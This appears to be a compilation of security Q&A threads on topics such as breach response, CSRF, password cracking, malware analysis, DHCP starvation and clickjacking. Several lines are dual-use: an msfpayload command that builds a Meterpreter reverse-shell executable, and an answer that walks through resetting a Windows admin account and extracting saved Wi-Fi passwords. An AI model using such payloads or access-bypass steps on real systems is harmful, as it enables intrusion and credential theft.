How big of a deal was the Linkedin breach??  I'm assuming everything was protected so that our passwords were not plain text, but I guess it's a matter of time before they are cracked (I'm assuming LinkedIn uses very good security).
From what I see they "Invalidated" passwords before 2012... but what about after?
Did Etsy actually do a mass password reset, or is this a spam/phishing email trying to take advantage of what happened with Linkedin, or take advantage of us not knowing that Linkedin was/wasn't compromised?
If both passwords were reset internally(Linkedin "Invalidated some passwords), is there any reason to reset the passwords if we don't need to use those services?  I'm not sure how good their "random passwords" for resetting are, but if they are good enough can we just not change the passwords, or is it ALWAYS a best practice to change the passwords?

^  I'm just wondering if there might be greater risk (phishing attempt) if you do try to click those password reset links(since I'm assuming they aren't emailing us our passwords), and that those could be malicious?  Again, assuming the fact that you do NOT use those accounts often.  If you do use them often, or that we SHOULD reset the passwords again... what steps should we take then?  Contact both companies to make sure it was a legit breach and that my email to Etsy was legit?

EDIT:

another question came to me..

Would it be wise for everyone to change their passwords across the board then?  If the data has been cracked, then people should change their passwords (for those who were compromised back then, probably already changed their passwords I'm assuming though)?

The email is referring to a breach of the LinkedIn password database that happened back in 2012. This was one of several HUGE breaches that was discovered around the end of May 2016, all of which actually happened earlier.

Although we knew about the LinkedIn breach a few years ago, we thought it was only a case of "some passwords were stolen". 6 million account owners were apparently notified at the time.

Then somebody put the full dataset for sale on the darkweb in 2016. And we learned the true scope was "all the passwords got stolen".

After these breaches, there are now over 600 million valid username/password combinations for sale, for a few very popular sites including LinkedIn, MySpace, and Tumblr.

Knowing that the majority of Internet users re-use passwords, smart criminals bought up those stolen credentials and started trying to log into various other online services, including github, Twitter, Pinterest, Instagram, TeamViewer, GoToMyPC, and almost certainly others. So no, I doubt very much "you can use a LinkedIn account to access Etsy", however if you (like most people on the Internet) used the same password on Etsy as you used on LinkedIn, somebody probably used the password they stole from LinkedIn to try logging into your Etsy.

So: if you've EVER had a LinkedIn account, or a MySpace account, it's probably a good idea to change your password there. If you ever re-used that password anywhere else, change it there too. To be safest, you're right not to follow the link in the email. Go directly to each site, and change it there through the normal means, rather than following the email link.

While you're at it, consider getting a password manager like KeePass, 1Password, DashLane, LastPass, or similar; this will allow you to come up with a unique and strong password everywhere, without needing to remember all of them. Then when something like this inevitably happens again, you only need to change the one password that got breached.

If you're curious (or want to have a warning next time), take a minute to search for and/or register your email address over at Troy Hunt's haveibeenpwned service, which can tell you if your credentials were leaked in any of the fairly large collection of breaches he had access to.


user of my wifi for texting when visiting my home I'm investigating a break and enter at my home. My suspect is someone I considered a friend.

I think he orchestrated a set up with an accomplice. I would like to know if I can get a record of who he contacted using my WiFi router and I can how do I go about doing it?

If you didn't setup your router to log all communication metadata you will not be able to find out what communications have been transacted using your wifi. The maximum of information you will be able to gather from a home router is a list of the MAC addresses that where connected to your wifi and even that depends on your router.


Will same-site cookies be sufficent protection against CSRF and XSS? I must say, that I like this idea and it seems that it will bring a new form of protection against CSRF and XSS or at least it will reduce those attacks.

So, how effective will this protection be?

  SameSite-cookies is a mechanism for defining how cookies should be
  sent over domains. This is a security mechanism developed by Google
  and is at this moment present in Chrome-dev (51.0.2704.4). The purpose
  of SameSite-cookies is [try] to prevent CSRF and XSSI-attacks. You can
  read the draft here. (Source)

First, a definition from Chrome:

Same-site cookies (née "First-Party-Only" (née "First-Party")) allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.

So what does this protect against?
CSRF?
Same-site cookies can effectively prevent CSRF attacks. Why?
If you set the session cookie as same site, it will only be sent if a request emanates from your site. So a standard CSRF attack where the attacker lures the victim to the site http://malicious.com that posts a request to http://bank.com/transfer.php?amount=10000&receiver=evil_hacker will not work. Since malicious.com is not the same site as bank.com, the browser will not send the session cookie, and transfer.php will execute as if the victim was not logged in.
This is very similar to how setting a X-Csrf-Token HTTP header protects you from CSRF - again there is something that is only sent if the request emanates from your domain. The same-site property turns your session cookie into a CSRF-token.
So problem solved? Well, sort of. There are some caveats:

This will only work for browsers that implement this feature. So far, very few do. Unless you want to throw everybody who uses a slightly older browser under the bus, you will still need to implement an old fashioned CSRF-token.
If you need more fine-grained control, this will not be enough. If you run a system that displays untrusted user content, like a forum, you don't want requests originating from user posts to be treated as valid. If someone posts a link to http://myforum.com/?action=delete_everything you don't want that to delete anything just because a user clicks it. With a traditional CSRF-token, you can control exactly when it is used. With a same-site cookie, you can not.
The same old caveats as for old fashioned CSRF protections still apply. If you have an XSS vulnerability, no CSRF protection in this world will save you.

With that said, the same-site cookie is still a good thing that should be used together with traditional defenses as defense in depth.
XSS and XSSI?
The same-site cookie does nothing to protect you from ordinary XSS attacks. If a hacker manages to fool your site to echo out script from the URL on your site, it will be executed as coming from your origin (after all, it is), and thus session cookies will still be sent with all requests the injected script makes to your domain.
If you read the quote in your post carefully, you will see it says XSSI with an I at the end, and not XSS. The I stands for inclusion, and XSSI is related to, but different from, XSS. Here is a good explanation of XSSI and how it differs from XSS:

XSSI is a form of XSS that takes advantage of the fact that browsers don't prevent webpages from including resources like images and scripts, which are hosted on other domains and servers. [...] For example, if Bank ABC's site has a script that reads a user's private account information, a hacker could include that script in their own malicious site (www.fraudulentbank.com) to pull information from Bank ABC's servers whenever a client of Bank ABC visits the hacker's site.

Same-site cookies protects you from XSSI, since a session cookie would not be sent with the request for the script and it would thus not return any sensitive information. However, for ordinary XSS it makes no difference.


How to restrict access to a web application to authorized devices only? I have developed an MVC web app.
Right now, the client using this app in office area.
The client has requested that no one should use this app on any device except the office's PC/tablets.

Now problem is, it's a web app, so how can I put restrictions that nobody can use this app from the outside of the office or with devices other with than office's PC/Tablets?

There's a couple of things you can do to help restrict the use of the application to a specific office location and specific devices, although as other answers point out none of them are absolute protection

Setup a firewall in front of the application to restrict the IP addresses allowed to access the application to the clients external IP address range.  Most companies will have static IP addresses on their Internet facing routers and if you set the application only to be accessible by those IP addresses it would be harder for an unauthorised person to get access to it unless he is in their office. TBH this sounds like the approach that will work best for your customers requirement
You could also use client Certificates on authorised devices.  As @adnan points out it may be possible to move those to another machine but that would require the attacker to either be a staff member of to have unuthorised access to one of their systems
perhaps as a detective control you could combine this with browser fingerprinting (e.g. panopticlick ).  Create a list of devices and their finger print, then if the client cert is used on a device which doesn't match the fingerprint you can block it.

As I say these aren't absolutes but then nothing in security is.  If all your customer is looking for is to stop people from outwith the company seeing their site, I'd go with the source IP address filter approach.


John the Riper couldn't crack all the passwoords I have a password file with 7 passwords, but JTR only could crack 4 and 3 that couldn't.

What it's the reason?

C:\tmp\john179j5\run>john --show shadow.txt
root:password:12923:0:99999:7:::
student1:password:12989:0:99999:7:::
user1:password:13122:0:99999:7:::
user3:dog:13122:0:99999:7:::

4 password hashes cracked, 3 left

Never expect to crack 100% of hashes.

To crack hashes, John the Ripper iteratively tries to input candidate passwords into the hash function and checks if there is a match. If it tries every word in the dictionary you provide it, or if it has exhausted the combinations you have set it to use without having cracked every hash, then naturally it will stop while there is still more remaining. All this means is that the remaining three passwords will need more time to crack, and that you may need to use a larger dictionary. This may mean a few more days, or the passwords may be so secure that it will never manage to crack them. This is to be expected.


Where is RSA Digital signature used in the online banking world? When i do online banking, i sign my digital transaction with a digipass. Ive been told that it uses a RSA-based digital signature scheme. But an rsa digital signature (1024 bit for the modulus) is a much greater then length of the code that my digipass generates. How does this work? Is it the PKCS#11 specification at work? Or?

Thanks for the explanation!

There are several Digipass products; not all of them compute digital signatures with the meaning that cryptographers attach to this expression (i.e. RSA and its ilk). If your token is not plugged into the machine, but just generates a numeric code which you type in, then there is no RSA involved. This does not prevent some documentations from (ab)using the term "signature" in that case too (I blame Microsoft for that confusion).

PKCS#11 is an API which applications use to talk to cryptographic hardware: this API is implemented by the driver for the specific hardware you use. For a token which is not plugged in at all, then there is no hardware (from the point of view of the computer), hence no driver, hence no PKCS#11.


How To - Learn basic hacking skills? I'm interested in learning some basic hacking; and I've read online that Linux is a good place to start.
Although, I've been a Windows user for as long as I can remember. So I was hoping I could get a few tips and maybe even a good tutorial. Thanks! :)

Go to local events where you can get hands-on and watch others.

In the Phoenix area, we have

HeatSyncLabs
OWASP Phoenix
BufferOverflow
Arizona Security Practitioners' Forum (AZSPF)
Phoenix 2600

You will want to attend DEFCON in Las Vegas and probably Toorcon in San Diego, because both are 6 hours drive-time from Phoenix. There is also LayerOne in Anaheim.

Online, you can take the Offensive-Security course called Penetration-Testing with BackTrack Online. However, I warn you that it is very grueling to learn the material and apply it in the labs -- I would assume 5 or 6 months and 19 hours a day, everyday -- even with resources such as a full subscription to SafariBooksOnline, where you can search for more information and read books online.

I suggest that you purchase a separate laptop, specifically for Linux. Make sure to get one that is highly compatible with BackTrack Linux. You will want to purchase a separate USB WiFi adapter, such as the Alfa AWUS036H (which is not quite obvious yet, but it's useful to learn the MITM network architecture concepts). If you have Windows installed on a desktop, laptop, or whatever else device -- be sure to install and heavily use Cygwin and/or MinGW, although perhaps you can research those later, when you've already installed and used BackTrack. If you can specify the type (laptop) or graphics chipset options to support CUDA (both NVIDIA and Intel's as options would be nice). Your card will probably be listed on that self-referencing wikipedia article.


Longer passwords vs Password Composition Rule Password composition rule is being considered as a burden for the users and some experts are recommending the increase in the password length instead of enforcing users to comply with the composition rules.

But my point is that in the absence of any composition rule, user set easy passwords as evident from the analysis of Rockyou database. Easy passwords means common words from the dictionary, names of person and city. Moreover, the passwords are mainly composed of lower case letters.

Theoretically longer passwords (minimum length 16) does provide more security than the passwords created under composition rules (minimum length 8 with lower case, upper case, digit and symbol). But we can't say the same about the 16 length passwords if they are set by the humans. If tomorrow every one starts using longer passwords and a breach like Rockyou happens, then the attacker can learn the strategies behind the creation of longer passwords. The attacker can then create a new dictionary and wait for some hashed database to leak.

So how good is the suggestion of increasing the password length?

The passphrase created by the humans are longer but might be easier to guess. But the randomly generate pass phrase are secure if the words are chosen randomly from the dictionary of reasonable size.
Why don't websites assign random passphrase and free users of any composition rules?

Every character added to a password increases the number of possible passwords exponentially, a 16 character password has many orders of magnitude more possibilities than an 8 character password. This doesn't eliminate dictionary attacks, however it makes them much more challenging simply because there are so many more possibilities.


What Partial Homomorphic Encryption implementations exist and how do I leverage them? It appears that only Partial Homomorphic Encryption(P.H.E.) is practical for modern day (2011) use.  However I'm having difficulty locating libraries (FOSS or otherwise) that enable me to leverage this technology.

El Gamal is an example of an algorithm that does PHE, but the wiki page doesn't clearly explain what blind math operations are supported and how to implement them.

Potential Use Cases

A PHE is something that can be used abstract to offload mathematic operations to a 3rd without that party ever knowing what the underlying value is.  e.g. x+y=z can be performed and it will have a valid encrypted result, but all 3 values are never known in unencrypted format to the third party.   This is beneficial to protecting stock market analysis data, PII, or anything considered proprietary or confidential.

Question

So, what encryption algorithms exist and what libraries exist that allow me to operate on the encrypted data?  Samples of operations I'm interested in include

Addition and Subtraction
Multiplication or Division
Comparisons (is encrypted X greater than encrypted Y)
A technique that will allow me to compare the binary/encrypted ASCII version of the word "Ap" and do a Contains() or StartsWith() with the encrypted version of "Apple"

El Gamal encryption allows for multiplication. This occurs within the group on which El Gamal runs; hence you are multiplying numbers modulo a given prime, not "plain" integers. If you can multiply you can divide (inversion in a group of size q is done by raising to the power q-2, so this is a matter of performing some multiplications). El Gamal is implemented in libgcrypt (used in GnuPG) but you would have to do the multiplications yourself (El Gamal is used in the OpenPGP format, but not for its homomorphic properties).

Paillier encryption allows for addition. There again, addition occurs in a finite group (here, numbers modulo n, a big composite integer). I am not aware of implementations of this system in widespread generic crypto library (my non-awareness does not imply inexistence, though) but a simple google search finds a few Java-based implementations (Java offers BigInteger, making implementation of such systems easy).

An important point is that such encryption systems are randomized: for a given plaintext, there are many possible ciphertexts. Thus, you cannot know whether two ciphertexts correspond to the same plaintext or not. A fortiori, they do not allow comparisons (order within a finite group is not well-defined anyway). Note that a comparison method would not be compatible with a secure asymmetric encryption: anybody could encrypt chosen values to guess the encrypted data with a dichotomic search. On a general basis, the key words for that are "data mining". Performing data mining on encrypted data is a widely unexplored field, with substring matching as a kind of Holy Grail. Briefly stated, there is nothing immediately applicable there.


Intepreting PE (Portable Executable) headers of suspicious malware files I am starting up on malware analysis, and I am analyzing a file to see if it is packed or obfuscated.

Using PEview I am examining the .text, .rdata and .data headers.

I know that if there is a big difference between the Virtual Size (size consumption on the memory) and Size on Disk, then it is probably packed.

My question is, what should I conclude from each scenario?

Virtual size = Size on Disk
Virtual size > Size on Disk (bigger with a considerable amount, not just some bits)
Virtual size < Size on Disk (smaller with a considerable amount, not just some bits)

The raw size is as it appears in the filesection. The Virtual Size is how large it will be during runtime.  Often malware will modify these memory segments during runtime.  These segments could be modified without changing the virtual size,  but often that is not that case.  A way of thinking about this is that they "unpack" themselves from a container such that looking at the static binary will not provide much insight into the inner workings of the binary.

If you where to view these segments while they where running with a debugger such as ollydbg or windbg you will probably have a more accurate view of malware.  However,  malware are often utilizing anti-debuggin measures.  By contrast there are anti-anti-debugging plugins for ollydbg.  Its a game of cat and mouse.


how to prevent scripts being injected on my website I have an API server on Digitalocean. Yesterday they told me I have "a large flood of traffic from one or more of your servers that is disrupting the normal traffic flow for other users."

I checked my running processes and it appears that someone injected a script and run it with root permission. The pic is as follows:

the thing is I can't even find this file udp_flood.txt. and I don't even know how one can get by root permission so easily..

My guess is in my backend I have an API that let user upload their images to the site. And then I crop / resize the image and upload to AWS. But I couldn't be sure this is the cause of the problem so I don't know how to prevent future injections too.

So my questions are:

how he did it to inject scripts and run as root?
how to prevent it? is it safe to say the cause is coming from upload functionality?
how to log it so in the future I know I am being attacked? (instead of my service provider telling me)

how he did it to inject scripts and run as root?

This is not known based on the few details you have provided. It might through brute-forcing SSH logins. It might also through combining several problems. A simple upload is not enough because the attacker must also find ways to execute the code and must also have found a security issue which allows to gain root access for a normal user (there are various exploits for this on unpatched Linux systems).

  how to prevent it? ...how to log it so in the future I know I am being attacked? (instead of my service provider telling me)

Use a fully patched system, find and fix security problems in your application, use strong passwords for remote login (or better keys) ... There are lots of similar questions about this topic already.

Based on the current knowledge you have I you look instead for a managed system to keep the system secure and look for expertise in web application security to make the application secure. There is way to much to look out for and cannot be shown in detail just in a single answer (too broad).

  is it safe to say the cause is coming from upload functionality?

Not without doing a proper forensic analysis of the system.

See also I was hacked, but I don't know why.


Finding applications vulnerable to dll preloading on windows An application is vulnerable to DLL preloading attack on Windows if it loads a DLL simply by it's name. Windows then goes on to search several folders and loads the first DLL with a matching name.

Given access to a non-administrative user account, is it possible to determine which DLLs a process/service loaded, would load etc.? Or which DLLs it tried to load but failed? This process/service should belong to another user.

It’s not possible to predict an applications intention, unless you can ‘see’ into the service.

You may be able to do static code analysis of any services you have source code access to. This would allow you to see for any flaws in which you are looking for.

I don’t believe there is a tool in the OS that shows the dlls that are being referenced from a service in real time and suggesting third party tools is out of scope for answers on here.


Should anti-virus detect metasploit payloads? As part of a workstation pen test, I copy a simple metasploit payload onto the workstation, and try to run it. Usually this is blocked by anti-virus software. However, sometimes it isn't (I won't name the offenders). The AV software is running and correctly detects EICAR, but it doesn't detect a simple non-encoded metasploit payload.

My instinct is that this is a failure of the AV software, and should be reported as a vulnerability. However, I wondered if this behaviour might in fact be intended? Are there legitimate arguments that "metasploit is not a virus"?

In this case the payload is windows/meterpreter/reverse_tcp encoded as an exe file, without obfuscation. Generated using this command:

msfpayload windows/meterpreter/reverse_tcp LHOST=1.2.3.4 X > payload.exe

It's an arms race. The developers of metasploit want to develop plugins that defeat anti-virus. The developers of anti-virus want to defeat metasploit plugins.

They can't both be successful, so sometimes the AV will roll out signatures that detect all metasploit modules, sometimes the metasploit developers will find a new way to evade AV.

You'd think that the AV vendors had the advantage due to metasploit being open-source, but obviously not in this case.


Open Source OS - code you see vs code you get In this question I will use the example of Linux OS, but I am also interested in general situation.

Linux OS distributions are famous for being open source and thus rather secure. But how can you be sure that the Linux that you set on your PC, with the installer you have downloaded, is coded with exactly the same code as is available in the source for everyone to read ? And same for other OS projects ?

When you download just the binary, then you can't. You have to trust the distributor of the binary that it is indeed compiled from the published sourcecode.

When you consider the developer trustworthy but you aren't sure you can trust a download mirror, then note that many developers publish hashsums of their binaries, so when you download the binary from an untrusted mirror, you can validate it by checking the hash. This, however, assumes 1. that the binary is the one compiled by the developer and not an independent build by the distributor, and 2. that the developer isn't the one who wants to screw people by releasing a binary compiled from a different sourcecode than what he is publishing.

When you want to make sure that the binary you get is really compiled from the source, you have to get the sourcecode and compile it yourself. This might take quite some time with more complex projects.

But it's questionable if it is really worth it from a security point of view, because just because the sourcecode is public doesn't mean that it is free of backdoors. There is the underhanded C code contest with many creative examples of how to hide malicious sourcecode in plain view. When you want a more real-world example: The heartbleed bug was a vulnerability which existed for years in a very widely used piece of open source software and nobody noticed. There is no reason to believe that it was an intentional backdoor, but when it would have been intentional, the fact that it is in public soucecode and not smuggled into a binary would give the one who planted it plausible deniability.


Open source web application penetration testing community I do web development for a living but my real passion is security. I have worked with countless open source web application/framework and I have found vulnerabilities in most of them. The main cause of those vulnerabilities is a lack of security education from the developers. I've been thinking about what could be done about those problems. My idea would be to start an "open source web application" penetration testing community. The community would be composed of like-minded security professionals/enthusiasts.

The community :

select a specific version of an open source web application and dedicate a 1 to 4 weeks time frame to it (depending on the size of the application).
test the application for security problems. Penetration testing + source code review. (maybe following the various OWASP guides)
issue a list of vulnerabilities to the open source organization
help write/review the patches
provide design recommendation and educational materials to the open source organization
compile all materials created and publish it for educational purpose

The members of the community can submit their vulnerabilities within the established time frame. The vulnerabilities submissions are only visible to trusted/participating members and remain hidden until X(?) weeks before the publication. I know some people have mixed feelings about vulnerabilities disclosure but I think the benefits far outweigh the disadvantages (and I don't want to start a debate about that here).

Now the questions :

How many weeks should the vulnerabilities stay hidden?
Should we ask permission to the open source organization? (Is there any law/license against open source pentesting?)
Should we invite a member of the open source organization to supervise the process from the inside? (view the vulnerabilities submissions/take part of the discussion)
Do you think such community would be relevant to the open source?

There is already a standard method of reporting vulnerabilities to vendors. CERT is great about contacting vendors and mitigating the issue.

I think that your ideas can be helpful and there is a lot of overlap with your ideas and OWASP.   You should look for a local OWASP chapter in your area.  If one doesn't exist,  MAKE ONE!,  and use it as a platform for your workshop.  OWASP will help get the word out,  and attract more attention to your cause.


I snapped my micro SD card into 8 pieces before throwing it away. Should I be worried that someone can get my data? The card was a 16gb SanDisk micro SD card (monolithic).

Should you be worried? No!
Is it technically possible, probably.
Here is an example SD card Xray, although not specifically a SanDisk.

The memory chips are very small and unless you broke that specific memory chip, it's possible to rebuild and recover the data. However, this is a pretty difficult undertaking and not one that most people or even most forensic labs will do, although it is possible.


How can an attacker abuse a distributed system? How can an attacker take advantage of a world where state is eventually consistent and vector clocks are used to settle disagreements?

For example, what are the security concerns of using a database like Cassandra to settle finical transactions?

Is anyone aware of exploit code that is leveraging a flaw in a distributed system?

This post is going to serve as a repository of references possibly related to the problem. Once there is a substantial answer, please copy the contents into it and ping me or the mods. Please feel free to edit this answer to refine the list.

As I've said, CiteSeerX yields nothing useful (its search system isn't exactly top-notch). However, this query on arXiv gives the following results:

Bing-Rong Lin, Ye Wang, Shantanu Rane. On the Benefits of Sampling in Privacy Preserving Statistical Analysis on Distributed Databases.
Wenbing Zhao. A Byzantine Fault Tolerant Distributed Commit Protocol
Petros Maniatis, Mary Baker. Secure History Preservation Through Timeline Entanglement

Search through Google Scholar:

P.Liu, J.Jing. Architectures for Self-Healing Databases under Cyber Attacks
B.Bhargava, L.Lilien. Vulnerabilities and threats in distributed systems (apparently a neat overview)


How is Thread local storage used by malware/Virus? I have been told that code in TLS is run before the entry point of an exe is reached ,so if one puts a breakpoint on this TLS address he/she could debug the behavior of the virus.Can Fiber local Storage too can be used for malicious intent . TLS address and size is stored in the Data Directory of the PE structure's optional header ,where can I find the FLS address and size.
Can a TLS of one thread be used by another thread ?

According to my understanding of TLS :Every process can have many threads running in its virtual address space and every thread has its own TLS .TLS is used when global variables are needed to be instanced on a per thread basis.

You're thinking of TLS callbacks!
TLS includes TLS callbacks, an array of pointers to functions that are to run before the EP is reached.

This functionality exists so the developer can initialize the TLS data before the program is run.
Putting your malicious code here would make it somewhat unexpected to the analyst since your debugger would normally break on the entry point (and after the TLS callbacks are executed).
This would make the analysis a bit harder.


Pinhole communication with air gapped network A long time ago ago I worked for a small bank. We used a physically separated network to host our internal servers that handled all the transactions, as well as the workstations accessing the system.

One day someone came along and wanted to build a perl-based web interface for it, and basically tried putting an internet-connected server in our secure server area and plug it directly into the bank server with cat5. This was, of course, promptly denied.

But that made me think; and now, many years later I'm still thinking about it. How can you efficiently "air gap" a network and yet provide services to an outside world?

My idea was as follows.

Set up an physically separated network with a server hosting critical data (bank accounts, transactions, electrical grid services, voting records, etc). Ensure all normal security procedures for air gapped networks, etc, etc.
Set up a slightly less sensitive (but still highly secure) internet-connected network for hosting application servers, and beyond that somewhere towards the perimeter, the actual web servers, load balancers, firewalls and so on.
Run a serial cable between two hosts on the two networks.
Any communication between the networks, say for inquiring about a balance, posting a transaction, and so on, needs to happen over the serial cable. Any request should also be properly cryptographically signed, so the ultimate authorization lies with the secure servers on the air gapped network - they don't trust anything coming in over the serial wire unless it's cryptographically validated and authorized.

My reasoning here is that once you connect a cat5 cable to a server, there's so many different kinds of traffic potentially occurring on that cable (even with proper firewalls). You can have intruders moving laterally through the network, misconfigured firewalls, there are 65000 possible ports on it and you're using 1 of them - by using a serial cable you're drastically minimizing attack vectors. Of course you still need to secure the software stack behind the serial cable, and there are several other attacks possible here, but I just kind of feel good about limiting the traffic to a custom protocol over a dumb serial cable - kind of like the bridge over Khazad-dûm, if you know.

The downside is that a serial cable is not particularly effective. At 115 kbit/s, it's going to struggle compared to a regular 1 Gbit/s link. I suppose you could use multiple serial cables...

So...

Is this a good idea?
Are there better ideas?
Is there a practical alternative to a serial cable that still doesn't bring a whole network stack with it?

An air-gap is used as a complete separation between networks with different security requirements. You don't want this kind of full separation since it makes data exchange impossible. Instead you want to have as much separation as possible.  Especially you want to make sure that no data from the maybe already compromised lower security network might harm the higher security network.

In the easiest case data should never flow from the low security network to the higher security network at all, but only in the other direction. A use case for this is for example the transfer of log and status data from an industry network into the monitoring network for log aggregation, display and analysis. Technologies in this area are data diodes which guarantee that data can only flow in one direction, sometimes guaranteed by hardware and sometimes by minimal and easy to audit software stacks like microkernels.

The more complex case is restricted bidirectional communication. In this case attacks from the lower security network might happen at various layers: from network layer up to the application layer. Your idea of using a serial line tries to reduce attacks at the network layer by replacing the large attack surface of a full and complex network stack with the hopefully smaller attack surface of a more simple serial line interface.

You also try to deal with attacks at the higher layers by accepting only signed packets from the lower security network. But since the lower security network might have been compromised, the attacker might also have access to the secrets needed for the signature and is thus able to sign any kind of payload he wants. This means you should not trust anything coming from the low security network, even if it is signed.

Instead you need to make sure that only payloads gets send from low to high security network, which are fully expected at the high security network and thus will not cause harm there. In the easiest form this might be a fixed set of messages which are allowed. More complex are a fixed set of messages which can be slightly parameterized, in which case you need to validate that the parameters match the expectations. Depending on the actual requirements regarding data transfer and the costs of failure such validation and maybe sanitization or transformation of the payload can be really complex. And of course, it might contain exploitable bugs too, so you also need to protect the validation itself. In higher security environments (like government, banks or energy sector) one might opt for dedicated gateway devices with a hardened and minimal OS which only have this one task of validating, sanitizing and transferring payloads in specific protocols and which can be more easily audited because of the lower complexity.


SSH and the ECDH component With SSH, most of my servers use ed25519 (the twisted Edwards variant EC) for authentication.

I was wondering, after authentication with ed25519, does SSH protocol 2 simple use ephemeral/ephemeral ECDH over curve25519 for the session key?

I can't see what else it's doing unless it converts the ed25519 x,y co-ordinates to curve25519 Montgomery variants to establish the session key.

Example output verbose is:

debug1: kex: algorithm: curve25519-sha256
debug1: kex: host key algorithm: ssh-ed25519
debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none
debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: Server host key: ssh-ed25519 SHA256:KvJtkvHyH/+oU3VaDDMQbUHIyI9P+LDLv0FqLdrfmEk
debug1: Host 'ubuntu-prime.local' is known and matches the ED25519 host key.
debug1: Found key in /Users/john/.ssh/known_hosts:40

My question is, what curve25519 keypairs are being used here?

It uses ephemeral (single use) Curve25519 points in X25519 (Curve25519 ECDH) for key agreement and static long term Ed25519 keys for authentication. Like basically every other protocol from around the same era.

If you want to know how some cipher suites for SSH work, you should read the RFCs or openssh documentation (for their extensions). For example:

https://tools.ietf.org/html/draft-ietf-curdle-ssh-curves-12

https://tools.ietf.org/html/draft-ietf-curdle-ssh-ed25519-ed448-11


How to prevent DHCP Starvation attack? All this while, I assumed that switchport security is enough to prevent DHCP dos attack. If I set it maximum 1, there can be no more mac addresses packets.

But, a friend told me that using the tool, DHCPStarv, we can bypass that?

I want to know how it works?

I figured a way to prevent it by DHCP Snooping, but how does it bypass the switchport security? I don't see any logical answer. Please help me understand this. Thank you.

If you only allow ONE MAC through a port I can't see how DHCPstarv is going to work (unless it is some kind of distributed DHCPStarv attack).

DHCPStarv works by sending a lot of DHCP petitions so that the server doesn't have new IPs to provide to new clients. But if you can only ask for one a time it is not likely the attack is going to succeed.

After @RajesK comment (he has found the link answering his own question) I add the following:

  Although one might think that countermeasures such as as Port Security
  would be more than enough to prevent such attacks, that is not true
  with tools like Yersinia or dhcpstarv. This is because Port Security
  only considers the MAC source of the frame to create filters and then
  set accordingly what MAC addresses are allowed on a specific port
  (useful against MAC flooding attacks). The problem here is that these
  tools do not change this MAC (as eg macof does), but randomize the
  field Client Hardware Address (CHADDR) inside the DHCP payload. This
  field, along with the client identifier, is of great importance as it
  will be used (see RFC 2131) by the server to distinguish between the
  various requests of different customers. Without that, it would be
  difficult to distinguish between the various users when using a DHCP
  Relay Agent.

This means that the problem is that the DHCP protocol itself rely not on the MAC of the client who ask for the new IP but for the CHADDR field inside the DHCP protocol so, in fact, from the very same MAC you can ask for thousands of petitions just changing the CHADDR field.

The solution is in the very same link:

  Fortunately, DHCP Snooping is clever enough to read the payload of the
  DHCP protocol and verify that the source MAC address and CHADDR are
  the same (optional command ip dhcp snooping verify mac-address). It is
  also possible to set a “maximum threshold“, or number of packets per
  second that the switch can receive in a given port so, if the number
  of DHCP packets reaches this threshold, the port enters the shutdown
  mode (blocking) and it would generate a warning about the DoS.

Now, you are comparing the actual MAC address with the one inside the DHCP protocol so that when you find a different one you just discard the packet.

Saying this you should continue bear in mind the comments by @polynomial.


iPhone - logging out user when app goes into background Our (financial/banking) mobile app requires user to enter username/password in order to get data via webservice calls. Once user is logged in, credentials are stored in global variable until user logs out. If application is sent to background (text msg, phone call etc.) we would start a timer and log user out if app did not become active again after specified time interval.

One of our customers told us that this is not secure and is asking us to change this behavior and to log user out immediately if application goes into background. They did not want to disclose reason why they think our approach is insecure and we are wondering if what we are doing is really insecure and why, or if they are just overly paranoid.

Impossible to say what their problem is without a copy of their risk analysis, but three possibilities spring to mind:

They may be concerned that a malicious app could hijack the session.
They may be worried that users mistakenly think that the app has been closed and all sessions dropped when they background it.
They may be concerned that if the phone is stolen there is a window when your app can still be used.

I'm not sure any are a particularly big risk, but of course depends on the full risk assessment. If your app is launching nuclear bombs, for example, I'm not sure it's possible for the customer to be too paranoid.


How Do I find Out the Username And Password Of Wifi Windows 7? Basically i have a computer that is dual booted with Windows 7 and Ubuntu. On the windows 7 side I do not have admin control. However on the Ubuntu side I have full control. So I want to know how can I find out the Username and Password of a wifi that the windows side has saved. On the Ubuntu side i have free range over the Windows C drive

Get something like Hiren's boot CD and burn it from ubuntu or windows
Boot into the environment to Reset the admin account or add a new administrator account using this hack directly from within Ubuntu.
Boot into Windows and Log in with your newly created or reset account
Download and run THIS software from Nirsoft as administrator under Windows 7.
You should now have the password.

Hope that helps


Credentialed scanning through SSH tunnel If I wish to run Nessus against a Windows server that is only accessible from another machine, I can setup an SSH tunnel like so:

ssh user@10.99.5.6 -L 127.0.0.1:445:10.0.0.45:445 -L 127.0.0.1:139:10.0.0.45:139

Then I would configure Nessus to scan localhost or 127.0.0.1 with credentialed checks, using the Windows admin username and password.

Trouble is that Nessus detects that it has command execution on my local Linux host and mixes the results from the target host with my local host.

Not normally a problem as I should be able to differentiate Linux results from Windows, but just wondered if there was a way to tell Nessus not to query the local machine in the interests of clean separation of results.

Note that limiting the ports to 139 and 445 and setting the Test the local Nessus host setting have no effect on this.

You could instead set up a layer 3 tunnel over SSH and route directly to the windows target (see below link for example).
https://wiki.transmission.ninja/doku.php?id=networking:layer_3_vpn_over_ssh
This would solve the issue of you scanning the linux target as you will be able to scan the windows IP address directly.
You could also use a tool called sshuttle for this, but I find that can be a little buggy sometimes.


Is the Framekiller really safe against clickjacking? I am using this code.
In the header section of the page, this CSS rule:

html{display:none;}

And then this javascript:

if (self == top)
  document.documentElement.style.display = 'block';
else
  top.location = self.location;

Can I consider it safe against clickjacking from mobile devices?
If not, do I have to add other protections like the X-Frame-Options header, or others?

In my opinion there's no such thing as a frame killer/buster script as JavaScript can be disabled in the <iframe tag, rendering your code useless.

The best way to protect your application from clickjacking attacks, for modern browsers, is configuring your web server to send the X-Frame-Options in the response header.

Configuring this is quite easy:

Apache
In httpd.conf add: Header always append X-Frame-Options SAMEORIGIN

Nginx
In nginx.conf add: add_header X-Frame-Options "SAMEORIGIN";


How are games and software executables injected with custom code & without breaking offset? Introduction – Context
Everyone has seen so called "Injectors" or "Cracks" for certain programs & games at some point in their life.
These applications inject their own code into game (or application) to extend custom functionality (for example, opening up a cheating menu or overwrite a timer function).

Body – Main question
The question is not only restricted to games but programs and security in general, how do these people inject their own code...

...to overwrite the functionality of a function in the code, like a timer (just name roughly what technique is used) ?

...without breaking offsets of the inital program ?

